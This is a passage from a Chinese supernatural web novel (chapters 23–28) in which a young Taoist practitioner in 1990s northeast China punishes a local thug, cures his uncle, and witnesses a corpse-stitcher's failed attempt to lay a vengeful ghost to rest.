我盯着他,也看不出是真是假。但感受着那第三道雷的威力,我倒是信了他的话,要是这第三道雷劈下来,应该会非常恐怖。
“我要是把你劈死,这玉佩也是我的。而且,你身上的东西全都是我的。”我眯了眯眼睛,我不是个心软的,更不是个放虎归山的人。但这第三道雷,我隐约地感觉到了不妙。
另外还有,我突然感觉有些体力不支了。要不是这段时间道力的增强,我恐怕都等不到第三道雷。要是强行下来,我也会遭殃。
老道的脸色要多难看有多难看,那样子就像是受了委屈的小媳妇。
“爹,不,师傅,您看这样成不。我愿意成为您的弟子,我也愿意发誓。只要您不杀我,让我当牛做马什么都行。”
……
第二十三章对付坏人不留手
老道士往那一跪,要多不要脸有多不要脸。
然而我根本不信这老东西的话,趁着还能坚持引雷,我问,“你想活?”
老道士见我松了口,点头如捣蒜,没有一点尊严。
我装作平静,“好说,拜师就不必了。我们一门向来单传,你不配当我徒弟。这样,你给我一滴心血,我就放了你。”
心血,那是修炼之人的本命,轻易不能给他人。一旦交出去,那就相当于把命交了出去。要是有心之人利用心血做点什么,本体就会跟着遭殃。
闻言,老道那叫一个警惕,“你,你想干嘛?心血,那是本命血,要是你拿了,在上面做手脚,俺不就惨了。”
我皱了皱眉头,二话不说,催动道力就要劈了他。
“给,给,俺给!”老道士看着半空中那青涩的雷电,他攥了攥拳头,硬生生地从食指尖上挤出了一滴血。
我也不废话,用道力引到了手里,这一招,看得老道士眼神震惊。
“行了吧?能放走了吗?”老道士认栽道。
“玉佩呢?”我继续催动道力维持《五雷诀》。
“算你狠。”老道士把玉佩又递了过来。这次我没有在留他,任凭他走了。
回到家,天已经蒙蒙亮了。这次引动了《五雷诀》太长时间,等我回到炕上,连看玉佩的心情都没有了。浑身浸透,像是刚从温泉里出来一样,眼皮也睁不开了,呼呼大睡。
也不知道睡了多久,我听到我爹妈在叫我,一睁眼,看到大哥大嫂也在,而天色是黑的。
“哎呀,老幺啊,你差点吓死娘了,还以为你会像八年前那样,高烧七天,之后就成了……”我娘哭哭啼啼。
“小弟,你没事吧。”我大哥也是吓坏了。
我摇了摇头,看得出来他们是真的紧张,笑了笑,“没事,我睡了多久了?”
我爹,“两天一夜了。”
我愣了愣,想不到这次催动《五雷诀》的副作用这么大。
我觉得有些饿,我妈急忙去做饭,就连一直饭来张口的大嫂,也都跟着进了厨房。
见我没事了,我爹大哥他们也都放心了。等吃过饭以后,我这才研究起了那玉佩。玉佩入手我就感觉到了一股清凉感,拿起来看了看,它通体翠绿,上面刻有两条缠绵的鲤鱼。
对于这玩意我就没印象了,那方士的记忆里也没有。但我能感受到那纯粹的能量,我确认,这股能量绝对不是灵气,而是一股特殊的热能。
修道这么久了,我对能量有着清楚的认识。能量大致分为两种,一种是冷的,被叫做阴属性,如风水阴气等等。
另一种就是热能量,如火太阳朝气等等。而热能量,一般都代表温暖,治病这类的。
我想到了老道士说的话,救死扶伤,虽然他那人纯属瞎扯,但这玉佩绝对跟救死扶伤有关系。
了解了玉佩的属性,我顺手戴在了身上,我看了下墙上的钟表,这才晚上七点多钟。想到了大嫂的事,我决定去一趟那梦巴黎舞厅。
九几年这会,其他地方我不知道,但东北这嘎达特别流行歌舞厅,光舞厅,我们黑城就有五家。其中最有名的就是梦巴黎舞厅。
我到的时候大约八点左右,里面放了一首当时最流行的歌,路灯下的小姑娘,非常的带感。几十个男男女女,在那搔首弄姿,卖弄舞步。
“小比崽子也跳舞啊?没见过啊?”那会去跳舞的男男女女,基本都是当地的混子。我刚进来,一个约莫三十来岁的光头对我指指点点,出言不逊。
他身边的人听了也是眼神轻蔑,哈哈大笑,拿我取乐。
我正愁找不到人呢,径直走向光头,“谁叫李阳?”
李阳,就是骚扰我大嫂的那个滚刀肉。
“艹,尼踏马的谁啊?也敢直呼我阳哥的名字?”光头继续出言不逊。
我面无表情的看着他,也么说话。我来的时候就已经做好了打算,这种事肯定没办法善了。
而对于我现在的实力,我也有着清楚的认知。我一个修道的,寻常人根本不是对手。所以,对付这帮人最好的方式就是拳头。
“我问你什么,你就老实回答。不用说废话。”我冷冷道。
“艹,找事!”原本抱着膀子的光头站直了,面露凶光。
我哪里会给他废话,一只手抓住光头,一脚踹了出去。光头凌空飞起,因为我抓着他的脑袋,他没飞出去,又被脖子抻了回来,落在了原地。
等我松开了手,光头跪在那直接吐了,疼得一声不吭。
“哥几个,弄他!”光头身边的几人也都不是善茬,直接动手。
没有废话,也没有多余的动作,他们的拳头在我眼里缓慢,像是慢动作回放,我稍微动了动身子,他们就全都打偏了。
而我则是拳拳到肉的回应,没两分钟,几个人全都跪那了。
音乐的节奏还在,但舞厅里的人都不跳了,一双双眼睛落在了这一片。
看到效果不错,我再次问那光头,“李阳在哪?”
光头和几个被打得跪在那,好不容易才抬起了头,看我的眼神变得敬畏。
这年头在东北就这样,这些说出来混的,打一顿就对你充满敬意。但你要是打不过他们,那就整天欺负你。
说白了,欺软怕硬。
“我就是?你混哪的?敢来我看的场子闹事。”
不等几人说出来,一个穿着花花绿绿西装的男人走了出来。他约莫三十四五岁,梳着个大背头,戴着个墨镜,披着个风衣,吊里吊气的。
那会刚流行看录像,英雄本色风靡,那些道上混的都喜欢模仿。
但在我看来,他差很多意思,气质不太行。
我眯了眯眼睛,也不废话,双脚用力,一步到了李阳面前。抓起大背头,直接抽巴掌。等抽完,一脚踹倒在地上,一只脚踩在他头上,“亮闪闪理发店的女老板,那是我大嫂。”
闻言,李阳也清醒了,但她却骂道,“艹,贱人,不从了我,还敢找人弄我。尼玛的,这事没完。我要杀你全家。”
他这话一出来,我已经确认了,大嫂说的是真的。
我冷笑,“确实没完,欺负我大嫂,还不知悔改,那你就当一辈子痴呆吧。”
说完,我心中意念白痴,催动道力,手结印,用力打在了李阳的脑袋上。
只见这李阳翻了翻白眼,没过一会儿,他就变得痴痴呆呆,流起了哈喇子,跟个傻子一样。
我冷漠,我很清楚,他并不是傻子,他只是被我下了道力,身体不受控制。但意识上却很清醒。
对付这种坏人,我没打算留手。比起等他来伤害我家里人,倒不如我彻底斩草除根。说实话,也就是不能大庭广众之下弄死人,要不然,那就不是这个结果了。
……
第二十四章三叔被三婶逼疯
舞厅里安静,落针可闻,噤若寒蝉。
收拾完李阳,我大步的离开,全程,那些人主动让开一条道路,没人敢拦着我。
而刚才跟我叫嚣的光头几人,蜷缩在那,连头都不敢抬。
等我离开了,这才听到舞厅里叽叽喳喳地叫了起来,那场面跟菜市场的。
我听到有人说,“哼,这就是在舞厅,要是在我地盘,他得跪着出去。”
“就是,我看啊,这李阳就是混得不行,别看整天穿着大风衣,看上去挺有派头,不是老大就不是老大,这下好了,惹上狠人了吧。”
“艹,就那小比崽子,我一个打他十个。”
……
听到各种吹牛逼的声音,我这才知道,舞厅里起码一半都是李阳的人。
我摇了摇头,这些人满嘴的江湖义气,谈身份,谈地位,到头来出了事,第一个跑路。
又过了几天,下了一场雨,东北也就正式进入到了冬季。
而我帮大嫂解决麻烦的事也传开了,还被人叫做‘疯子’,甚至被传得神乎其神,说我才是黑城真大哥,在刀疤地盘弄了他小弟,刀疤连个屁都不敢放,神神秘秘的。
但除了我大嫂,没人知道我真实身份。而我大嫂对我的态度,也变得微妙。以前是对我爱答不理,而且宁可住在理发店也不回来。现在呢,理发店都不干了,天天在家待着,对我那叫一个热情。
说实话,我挺不喜欢这样的。倒不是对方怎么样,而是我的性格已经固化了,不喜欢热闹,也不用谁对我好,因为似乎谁跟我都没有关系。
“老幺,你太厉害了。昨天那舞厅老板刀疤,亲自给我道歉,活了三十年,还是第一次这么有面子。我那几个闺蜜见到了,都惊呆了。”我妈做了一桌子好吃的,我大嫂上菜,忍不住小声告诉我。
“嗯。”我也不知道说什么,直接动筷子吃了起来。随后问,“我大哥那生意怎么样?”
闻言,我大嫂更是乐开了花,“托你的福,生意好极了。你是不知道,前来修摩托的,排队都排到后天了。我跟爹和娘都去帮着打下手,怕他忙不过来。”
其实对于我大哥的生意能火起来,我并不是很意外。他本身人缘不错,又开了两年摩的,那些人自然而然地就成了生意。
我想了想,修理铺这事靠谱,但我觉得还能更赚钱,“大嫂,你们有没有想过,顺手倒弄二手摩托。”
一听我这话,大嫂眼前一亮,“对啊,我怎么没想到,我这就去跟你大哥商量。”
我摇了摇头,大嫂这态度,我是真不适应。随口一提,她连饭都不吃了。
“你大嫂呢?”我爹洗完脸走了过来。
“去找我大哥了。”我说。
“这孩子,去找你大哥,也不把饭盒带上。行吧,一会我过去顺便带着。”我爹说完看向了我,“老幺,爹有点事求你。”
自从我好了,我跟我爹倒是近了不少,我笑道,“爸,你这是说的啥话,有事您说,我照办。”
我爹看向我,犹豫了一下,“你三叔出事了,整天神神叨叨的,他那边也找人给看了,但还是不行。你看,就算看在我的面子上,你帮忙瞅瞅。”
“好,我吃完饭就去。”我爹开回口,我痛快地答应了。
我爹有些意外,但眼神中带着欣慰。
听说三叔住在山上,我吃过饭就赶了过去。我在山上住了一个多月,轻车熟路,在住宿那找到了三叔。
三婶也在,三婶家里人也在,他们找了个跳大神的老婆子,在三叔面前跳大神,张牙舞爪,就跟神经病似的。
在看我三叔,蜷缩在角落,双眼无神,瑟瑟发抖,精神好像不太正常。
我的第一个反应就是,我三叔疯了。再看我三婶家里人,一个个抱着肩膀,冷眼旁观。
我怒道,“你们干什么呢!”
他们一家子并不知道我来了,我这一喊,全都吓得一激灵,转头看向了我。
“冯宁?”我三婶皱了皱眉头,眼神忌惮。
“你们当我们老冯家没人了?一家子欺负我三叔?”我走了上去,一把推开了跳大神的。
闻言,我三婶跟她家里人眼神交流,跟着冷哼道,“小冯宁,你这是说的什么话。你三叔他有毛病,我们在给他看病呢。”
然而我却不买账,“看病有这么看的?大白天在这跳大神?你们那明明是想把我三叔往死里整。”
我三神他妈也在,听我这样说,她叉着腰,指责我,“小冯宁,你怎么这样说话,我们都是一家人,你看看你三叔,往那一蹲,这不是神经病是什么。不信你问他,我们是不是在救他。”
那跳大神的也说话了,怨恨地盯着我,“哪来的混账,胆敢在我米婆这撒野,还不给我滚开。”
米婆,那年月在东北这嘎达,几乎每个村子都会有一个米婆。她们在家开堂口,供奉保家仙,有的是供奉胡三太爷,胡三太奶,有的是黄三太爷,黄三太奶,反正说是能给人驱邪看病,算命保家,非常有威望。
特别是农村地带,米婆的地位堪比村长,她要是说谁有了灾难,保准吓得那一家人连门都不敢出。
然而,她所供奉的所谓仙家,其实就是五大仙,在我得知了那是五门道统之后,在我眼里就八个字,封建迷信,故弄玄虚。
三婶有些心虚,“冯宁,你听到了吧?我们连米婆都请来了,还不是在救你三叔吗?米婆说了,你三叔因为跟我闹别扭,得罪了胡三太爷,胡三太爷正在惩罚他。你也是看事的,你应该清楚,胡三太爷不能轻易得罪,你快点上一边去。别再把胡三太爷惹恼了。”
听到这话,我忍不住笑了,这不是故弄玄虚是什么?打着仙家的口号,做的都是对自己有利的事。
人道,什么时候成了仙道了?我没再理会,看了我三叔一眼,他身上什么东西都没有,这是被人为弄得神志不清了。
虽然我跟我三叔不亲,但这毕竟是我爹的亲弟弟,我三婶一家子把他逼成这样,我也有些火大,“是吗?那我得好好问问我三叔。”
我三叔眼神空洞,疯疯癫癫的。我心里面有了结果,真言对他恐怕没用了。
三叔跟我爹当时还不一样,三叔现在神志不清,真言需要他听到才管用,但他这状态肯定没戏。
我想了办法,其中符咒算一个,但很快,我眼前一亮,拿出了带在身上的那玉佩按在了我三叔的脑袋上。
三叔的眼神居然有了些变化,我惊喜,果然有用。随后,我催动着道力,那玉佩在我眼里越来越亮,一股气息从我三叔头顶贯穿全身。
……
第二十五章一种职业缝尸人
三叔的眼睛也越来越亮,眼睛代表着一个人的精气神,随着他看向了我,眼神里带着感激,我就知道了三叔好了。
我停止了催动道力,收好了玉佩。
“哼,小冯宁,少在那装模作样的,说你胖,你还喘上了。就你那点本事,还能跟米婆比?行了,我们家的事,不用你掺和,哪凉快哪待着去。”三婶抱着肩膀,撇了撇嘴。
“就是,不就养个猪吗?真把自己当神仙了。”三婶他妈叉腰。
“小崽子,还不滚,信不信我叫大罗金仙来收你。”米婆死死盯着我。
闻言,我没作声,倒是看向了三婶他妈。这老女人按照辈分来说,我应该叫姥姥。
但这老太太坏得很,爱嚼舌根,我的那点事她没少传。而后,我怔了怔,这大白天的,我在这老太太背后竟然看到了她那已故老伴的身影。
若隐若现的,有点不真实。
“你,你那是什么眼神?你看什么看?”三婶他妈叉腰。
“我突然想到了一件事。”我笑了笑。
“什,什么事?”三婶她妈皱眉。
“想到了你们家的传统。我记得我三婶爹,就是被你们逼疯的吧。怪不得到现在怨气还没散呢。”在我这个修道人的眼里,这个世界没有鬼魂的说法,那是能量,它可以是怨气,生气,死气。
而像三婶他爹的这种迟迟不散的,那就是怨气了,被这股子气盯上,准没好事。
“你,你小崽子,你胡说什么。我看啊,你就是没什么本事,在这胡咧咧。”三婶他娘紧张了。
三婶这一家子还想说什么,结果全都愣了愣,指着我身后,“怎么站起来了?”
我三婶急忙,“米婆,你快看看,老三他这是怎么了?”
我转头看去,三叔已经站了起来,看到我,眼神感激。但随后,他攥紧了拳头,强忍着怒火看向我三婶,“我没事了。”
听到这话,我三婶他们表情凝固,我三婶强颜欢笑,“啊,没,没事了。我,我就说嘛,有米婆在,肯定没事。”
然而,我三叔却冷冷道,“你不是说要跟我离婚嘛,好,我同意了。今天就去民政局。”
看到我三叔这种态度,其实连我都觉得有些意外,他跟三婶结婚十几年,什么事都听三婶的,在家里甚至连个屁都不敢放,如今却硬气了。
“你,你说什么,谁,谁要离婚了。”我三婶吓坏了。
对于他们家的事,我不感兴趣,我爹让我来就是救三叔的,现在已经完事了。所以就准备走了。
而在临走之前,我看到三婶他妈身后的那团怨气捂住了三婶他妈的眼睛,那嘴里面还念叨着什么。
我知道,她要出事了。
果不其然,下午就听到了三婶他妈出车祸的消息。她们从山上回村子,别人都是走着,偏偏她去坐摩的,结果迎面一大卡车撞了过来。
说来也邪门,人家摩的车主咋地没咋地,她却被撞得四分五裂,当场暴毙。
原本,还想着离婚的三叔三婶,因为这事暂时没离成。而得知了消息,我爹我娘第一时间要赶过去,我爹也把我叫上了。
我家在黑城,我三叔他们跟三婶妈他们都是一个屯子的,离我家不近,二十多公里吧。我们一家子坐大巴去的。
路上,我爹问了我三叔的情况,我把他被逼疯的事说了,顺便还说了三婶娘的事。闻言,我爹妈都沉默了。
好半天,我娘才说,“你那三姥姥啊,年轻的时候就不咋地。仗着自家小舅子,打你三姥爷。后来,你三姥爷才四十来岁就卧病在床。我听说,她胆子大,把野男人都带家去了。哎,做损啊。”
我爹没说话,但那眼神似乎也默认了这种事。我娘又说,“你说你三婶,年轻那会看着挺好个姑娘的,怎么跟你三姥姥似的。”
闻言,我爹眉毛拧在一起,“哼,还不是老三自找的。当初我就听过一些风言风语,说老三媳妇不守妇道,大姑娘那会就跟俩男人钻苞米地。我当时就不同意娶过来,结果他听吗?闹成这样,自找的。”
我爹刀子嘴豆腐心,这话说得难听,但我看得出来,他还是心疼我三叔的。
想到了三姥爷的那团怨气,我倒是有点沉默。我没见过他,但我知道他死了有二十年了。我爹妈的话,应该都是真的了。
要不然什么样的深仇大恨,能让一个人化作二十年的怨气等着复仇呢?
那怨气的能量,连我都感觉到了忌惮。三婶娘不死才怪了。
再然后,我爹我娘也都不说话了,我也看向了车外,夕阳西下,有种说不出的寂静。我在想,这世间,还真是热闹。
而我也突然意识到了一件事,似乎自从我开始修道,一些事玄乎的事开始频繁地找上了我。
没错,不是我找他们,而是他们在找我。这种感觉很微妙,我不太喜欢。就像是老天故意安排的一样,哪怕我藏得再好,也躲不过去。
难道这也是天道?
想到这些,我脑子里冒出了一个陌生的词——命盘。
但此时的我,还没办法去理解这个词,因为太生涩了。
而后,我突然觉得灵光一闪,似乎感受到了一股死气。准确地说,应该是尸气。
我猛地惊醒,抬头看了过去,在小巴车的中间座位上,那里坐着一个身穿黑衣的人。他把自己裹的严严实实,连衣帽,墨镜,口罩,斜挎着一个纯黑色的大帆布袋。
他坐在那,仿佛与整个车的人都格格不入。
而那尸气,就是来自他的身上。
不对,不对,这尸气从一开始就有,只是当时跟我爹娘聊得太投入,所以没有发觉。还有就是,他身上应该有什么东西,刻意地在掩盖。
而我之所以会关注他,还有一个原因,直觉告诉我这个人很危险。
大约一个小时左右,我们到了三叔家的屯子。还没等下车,就听到了远处那哭丧的声音。这会天色有些黑了,那声音有点吓人。
我跟我爹我娘下了车,结果,那黑衣人的跟着下了车。我有些警觉,朝着三婶娘家走去,结果他也去那。
等到了地方我才知道,这人是缝尸人,来我三婶娘家给三婶娘缝尸的。
……
第二十六章横死的不能进村
一进三婶娘家的大门,就看到了院子里盖着的白布,白布上还有血。
三婶家的人在那哭哭啼啼,似乎跟人正吵架,而看热闹的村子人围着,见我们一家三口来了,有人上前打招呼,总之气氛就是这么个气氛。
有些压抑,但又很平常。在这年月,大家都胆子大,死个人不是什么稀奇事。
“横死的,不能进村,你们家已经坏规矩了。还想办灵堂,把人埋村子,绝对不行。俺不同意。”说话的人我见过,这村子的村长。他抽个烟袋,脸色不是很好。
“村长,都是一个村子的,什么横死的,不横死的,我娘得埋在村子。”我三婶抻着个脖子,一副受了多大委屈似的。
“村长,俺家在这村子住,俺娘不埋在村子,埋哪?你说,埋哪?”三婶大哥人高马大,撸胳膊挽袖子要干架的架势。
我这才知道他们在吵什么,在东北这嘎达,出车祸叫做横死,而在东北农村有个习俗,横死的人不能进村,不能埋在村里面,说是不吉利。
而三婶这家子把尸体抬了回来,这已经坏了规矩,现在还想在家里设灵堂,把人埋在村里,村长不容了。
“不行。”村长抽了口烟袋,不给薄面。
我三婶急了,“村长,我家请了缝尸人,等把尸体缝上,我娘不算横死的。”
天黑了,院子里点着灯,听到三婶的话,大家都把目光看向了缝尸人身上。
这人从进来就一句话没有,他走到尸体面前,一只手在那白布上摸索。说实话,这场面看得有些瘆得慌。
“怎么样?俺娘的尸,还能拼上吗?”三婶大哥人高马大的,但这会也扯了扯嘴角,看上去很不舒服。
缝尸人没说话,他突然把手伸进了白布里,侧着个脸,看不出喜怒哀乐,在那摸索。大家都看傻了,包括我也是第一次遇到这事。
也不知道过了多久,他又从包里面拿出了针和线,然后又把手伸了进去。期间,他又从包里面拿出了不少东西,皮子,纸张,毛巾,剪子等等。
过程有些长,而且很惊悚,那毕竟是一具尸体,村子里的人也就陆陆续续的走了。而我爹我娘,也觉得瘆得慌,跟着三嫂家的人进屋了。
我没走,甚至就站在缝尸人的跟前,说句有点变态的话,我竟然觉得能学到东西。
直到后半夜,我爹我娘他们都去三叔家睡下了,我还在这,而缝尸人总算弄好了。他一起身,似乎这才发现了我,被我吓了一跳。
“小孩子,快点回屋,横死的鬼,那是厉鬼,索命的。”缝尸人声音沙哑,他包裹得严严实实,看不到喜怒哀乐,但我能听出来他的焦急。
“我是修道的,不怕这些东西。”我能感觉到对方的不凡,所以直接坦白了身份。
然而听到我的话,缝尸人却冷漠道,“哼,学点皮毛,也敢说自己是修道的。你想死,我不拦着。”
说完,他不再说话了,而是从那布袋子里掏出了一盏灯点上,接着嘴里面又念叨什么。
呼。
在他声音戛然而止的一瞬间,突然刮起了大风,我听到了脚步声,从远到近。然后,我就看到了三婶娘从黑暗中走了出来。
说实话,哪怕我是当事人,这一幕我都觉得有点扯。三婶娘就跟生前没什么两样,她在看我,也在看缝尸人,噘着嘴,好像人还活着。
但她没说话,在看到了那一盏灯之后,像是着了迷似的被吸引了过去。
缝尸人深吸一口气,他似乎并不轻松,又开始念叨,“前有黄泉水,后是摆渡河。尸骨健存,怨气消散。长生灯,摆渡口,男也好,女也好,终进阎王殿,去吧,有个好轮回。”
随着他的念叨,三婶娘站在了那盏灯跟前,然后像是跳河似的,一跃跳了进去。
“呼,百无禁忌,百无禁忌,什么都没看到。”缝尸人嘴里继续念叨着。
呼呼呼。
但接着,卷起了一阵狂风,那盏灯突然灭了。
缝尸人的声音戛然而止,他猛地攥紧拳头,“糟了,有东西不让她往生?”
说完,三婶娘消失的身影又出现了,随着她出现的还有三婶爹的身影。
我亲眼看到他们膨胀,不断地膨胀,最后竟然有六米高。三婶娘的身体像是要被撑破的气球,肿胀不堪,三婶爹也一样,比三婶娘还要高,他撕咬着三婶娘,三婶娘发出惨叫。
直到三婶爹一口咬掉了三婶娘的脑袋,三婶爹这才心满意足地胀破了。再看三婶娘,它六米高的身躯,没有头去,浑身上下破破烂烂,没有一个好地方。
它痛苦地发泄,然而却像无头苍蝇一样四处乱撞,最后跑出了院子,随着一阵鸡鸣,消失不见了。
“你能看到?”天微微亮,这次倒是这缝尸人主动跟我搭话。
“能。”我点了点头。
闻言,这缝尸人摘下了口罩,里面竟然是一张年轻的脸,她是个女人。
我有些惊讶,“你,居然是个女的?而且声音也是女的。”
“那是腹语。”,缝尸人倒是不意外,而是问我,“她是你什么人?”
我如实回答,缝尸人看着我,“既然你是修道的,刚才应该有办法制止吧?”
我点了点头,“可能有吧。到底发生了什么事?我不太清楚。”
闻言,缝尸人怔了怔,随后把发生的事说了一遍。横死的人,按照她的说法是要变厉鬼的,然后留在出事的那个地方祸害人。
而她刚才把尸体缝上,用长明灯引路,把三婶娘引了回来,送她去往生。谁知道三婶爹宁可灰飞烟灭,也要把它留在人间。还把它头给吃了,这是最毒的法子,永世不能往生。
“三婶娘有意识?”听到这种说法,我也有些惊讶。
“有,它不但有意识,还有知觉,它会一直疼下去,戾气也会越来越重。直到彻底死了成为聻,那就是大祸害了。所谓人死为鬼,鬼死为聻,那种东西,已经是超自然的了。你最好劝劝你的亲属,别在这村子待着,会出事的。”女人劝我。
“要真是变成聻的话,有什么办法消灭吗?”聻这种东西我有印象,在我眼里它是更难对付的怨气。
“有,用大炮轰。”女人认真道。
“真的?”我疑惑。
“你看我像开玩笑嘛?火药能镇一切邪祟,镇不住,那是因为火力不足。”
……
第二十七章村子里又死了人
我还是头一次听说这种法子,但从女人那冷漠的脸上,我觉得她不像说谎。
之后我又问了些事,她倒是好说话,也都回了我。但在她身份上却闭口不谈。
东北农村起得都早,何况家里出了事,眼下也就五点左右,三婶他们一家子都出来了。
女人把口罩戴上,也不说话,三婶大哥出来就问问,“先生,我娘咋样了。”
缝尸人看了看尸体,示意他们自己看。
虽然是自己亲娘,但三婶大哥他们脸色也不太好看,那样子有点犯膈应。但三婶大哥身为老大,还是动了手,掀开了白布。
然而让大家意外了,没有想象中那不适应的场面,三婶的尸体和完整,怎么说呢,肯定不是活人那种状态。她嘴巴褶皱,原本很胖的身躯,如今缩在一起,身上还有针线缝合的痕迹。一眼看上去,有点像是纸人。
“娘啊。”三婶大哥扑通跪在地上,三婶一家人紧随其后,一大早在这哭。
“钱。”缝尸人声音冷漠,我知道又是腹语。而我也清楚,要不是我自爆身份,她恐怕也不会搭理我。
后来又接触过几次我才知道,干她们这行,真的就得少说话,但凡说错话会惹不少麻烦。
当然,这都是后话。先说这事,提到了钱,我三婶和三婶哥他们的脸色就变了。三婶哥使了个眼色,像是商量好似的,三婶拿了二百塞了过去。
虽然我没看到缝尸人的脸,但很明显她一愣。我不用问就知道,肯定不是这个数。
缝尸人看向我三婶,也不说话,一把扯走二百块就走了。见到这一幕,我看三婶三婶大哥他们有点犯膈应,死者为大,就算我没看到昨天的事,也不会办这种恶心人的事。人都没了,居然还算计钱的事?
但事不关己,我也没多问,之后村长又来了,就是不让三婶娘下葬。三婶他们没招了,连流水席都没摆,闹得不可开交。
我找到了我爹我娘他们,跟他们说了不能留在村子的事,他们信我,连原因也没问。这不,接着就告诉了我三叔。
再次见到我三叔,他倒是精神了不少,对我很热情,一听我爹娘的话,他一脸轻松,“大哥,咱们家这村子也没近人了,我打算把婚离了,过两天就去帝都打工。”
我爹点了点头,随后却来了一句,“老三,你这年纪还能生,到时候再生一个吧。没地方,我跟你大嫂给你养。”
我三叔咬了咬嘴唇,一把抱住我爹,眼泪在那打转,但最后也没哭出来。
其实我爹我娘能来,也就是来看看我三叔,见我三叔没啥事,心里也就踏实了。而白事嘛,人到场就好。连早饭都没吃,我们一家三口就走了。
临别之际,我总觉得三婶娘那事有点诡异,我让三叔把手拿出来,然后咬破手指,在他掌心,眉心处都点了血。如今我已经是方士了,血有道力,能护三叔平安。而对于我的做法,三叔虽然诧异,但也没有问。
等上了车,我们一家子朝着三叔招了招手,示意他回去。下一秒钟,我却怔住了。此刻,在村那头,一个没有脑袋,双手耷拉在地上的腐烂身躯,像是无头苍蝇似的乱窜。
直到车子启动,随着视野的远去,我又愣住了。我看到整个村子都被一堵围墙包裹着,那墙足有二十米高,顶天立地,巍峨宏伟。
在那墙上面,似乎有着一张脸在笑,若隐若现。
随着车子渐行渐远,我深吸一口气,这次的经历让我明白了,世间的诡异,我不过看了冰山一角。
而回到了家的第三天,三叔来了电话,说村子里又死人了,这次不是一个,而是一个接着一个。短短三天,村子里死了七个人。老人居多,其中还有个孩子。
连当地的局子都惊动了,还以为有人投毒呢。结果查原因,正常死亡。
再后来,三婶跟三叔离了婚,他直接净身出户,跑到了帝都去打工了。临走之前,来了我们家一趟,我爹给他拿了五千块钱,等再见到三叔,那都是十年后了。
至于我三婶那一家子,因为‘三婶娘’横死这事,村里人觉得他们晦气。再后来在村子里待不下去了,听说去了山上养猪场,再后来也就断了来往。
三叔一家子的事,我大哥他们唏嘘,而我倒是不太在乎,该看书看书,该干嘛干嘛。结果又过了两天,我家街对面的电话亭来人找我,说是有人给我打电话。
我接听,居然是黎雅,她说她遇到麻烦了,想让我帮忙。事成之后,给我十万块。说实话,我很纳闷黎雅怎么知道我家对面食杂店的号码?但想到她随手十万,我也就没在多想了。
电话里,黎雅没说遇到什么麻烦,她得五个小时能到。我也没一口答应,说等她过来再说。
我回到家,依旧是该看书看书,结果下午,高大山带着高月突然来了,手里面还拎着两瓶好酒。
“老高,稀客啊。”我爹我娘也回来了,看到高大山,我爹撇了撇嘴,阴阳怪气。
我也这才感觉到,我爹真的变了。原本他是个沉默寡言的人,但自从我好了之后,他话也多了,以前总当个老好人,现在也敢说了,不怕得罪人。
“老冯啊,咱们几十年的老朋友了,咋能叫稀客呢。你看,咱们是不是商量商量,两个孩子的婚事。高月,快,叫你未来公公婆婆。”高大山使了个眼色。
“公公,婆婆。”高月倒是个老实姑娘,她爹说啥她都照做。
“打住,打住。老高,你当时不是说了嘛,你女儿得嫁给铁饭碗。我们家可没有铁饭碗。”我爹背着手,也不去接礼物,一屁股坐在沙发上喝茶,那眼神叫一个得意。
高大山有些尴尬,结果却厚着脸皮的说道,“老冯,哎呀,这今时不同往日了嘛。我可听说了,你家老大那摩托车铺子的生意,是你家老幺出的钱。五万啊。那不得有分红啊。”
我爹撇了撇嘴,“那也不如铁饭碗,一辈子呢。”
高大山脸憋得通红,“这个,我也听说了,老幺可有本事了,能看事。这本事是真赚钱。老冯啊,孩子都大了,就把婚礼办了吧。”
对于高大山这副嘴脸,我倒是反应不大。而高月嘛,之前看高月长得水灵,听话懂事,感觉很漂亮。
但这段时间见了不少美女,何况我跟索菲亚还发生过关系,眼界也就有些高了。也就那样吧。但这姑娘还是好姑娘,就是没啥主见,太听高大山的话了。
“老幺,你怎么说。”话语权在我们家手里了,我爹翘着二郎腿,询问我的意见。
我没说话,我爹又说,“老幺啊,这事你只要点头,就能成。”
闻言,高大山也不尴尬,就是冲我笑。
“爹,算了吧。”我摇了摇头,没了之前那股子冲动了。
“那,那就算了吧。”我爹也有些意外,其实我都知道,他对高月很满意的。但见我这样说了,他遵从我的想法。
“你,你说啥冯傻子?算了?我家高月哪差了,哼,别给脸不要脸,整个黑城,你都找不到像我家高月这样好的姑娘。”高大山急了。
我爹也站了起来,撇嘴道,“老高,那你真是吹牛逼,我儿子女人缘好着呢。前两天,一个帝都姑娘,那叫一个带劲,跑我家来要跟我儿子结婚,还要生一大堆娃。人家帝都首富,老鼻子钱了。”
说实话,看自己老爹吹牛逼,这种感觉很微妙。我知道他说的是安然的事,我也不揭穿,忍不住想笑。
“真能吹啊,老冯,你说你一辈子老老实实的,老了老了,怎么吹牛逼呢。我咋不信呢?呵呵,要我看啊,你家老大那铺子,是借钱开的吧!”高大山酸里酸气的。
“你好,我找冯宁。”两人还在针锋相对,弄得那高月不知所措,结果,黎雅就这样走了进来,场面一下子就安静了。
“你怎么进来的?”我都差点忘了黎雅要过来。
“那个,门就开着呢。我敲了半天门,没人出来,我就进来了。”黎雅落落大方,指了指门口。
……
第二十八章诡异照片诡异人
随着黎雅的到来,我爹我娘都愣了愣,面面相觑。我娘说,“老幺这女人缘也太好了吧,上次是个漂亮姑娘扮乞丐来找他,这次又来个漂亮姑娘,这身打扮,我见都没见过。”
闻言,黎雅很礼貌地喊我爹娘叔叔阿姨,弄得我爹跟我娘在那憨笑。
而原本还吵吵的高大山,眼下也闭嘴了,他看了看高月,又看了看黎雅,撇了撇嘴,把放下的两瓶酒拎起来就走。
我爹乐了,给我娘使了个眼色,拉着我娘的手说是去送高大山,之后好半天都没在回家。
“坐。”我给黎雅倒了杯水,跟着她坐在了沙发上,我拉了把椅子坐在她对面,也不兜圈子,直接问她,“到底什么事。”
黎雅从包里拿出了一堆照片递给了我,“你先看看照片吧。”
我拿过照片就看,前面几张都没什么特别的,几个平常的小年轻在楼下聚餐吃饭,所以我也没有当回事。
但越往后看,我越觉得不对劲,后面是他们几个的全家福,看上去也没什么问题。但看到最后,一个个都成了尸体。
全都表情怪异的死了,还死在了同一个地方。
“说说吧。”我放下了照片,虽然觉得诧异,但这会还没看出什么问题。
“三个死者,来自不同阶级,法医鉴定,他们的身上没有任何伤痕,就连死的都时候都非常健康。原本这也没什么稀奇的,但他们死得太特别了。就像是商量好似的,在半个月内,每隔五天,全都死在了大厦的第十一层。”黎雅看着我,一边说着,一边有些紧张的裹了裹衣服。
“你是觉得他们死得蹊跷,有什么东西缠着是吧?”我问。
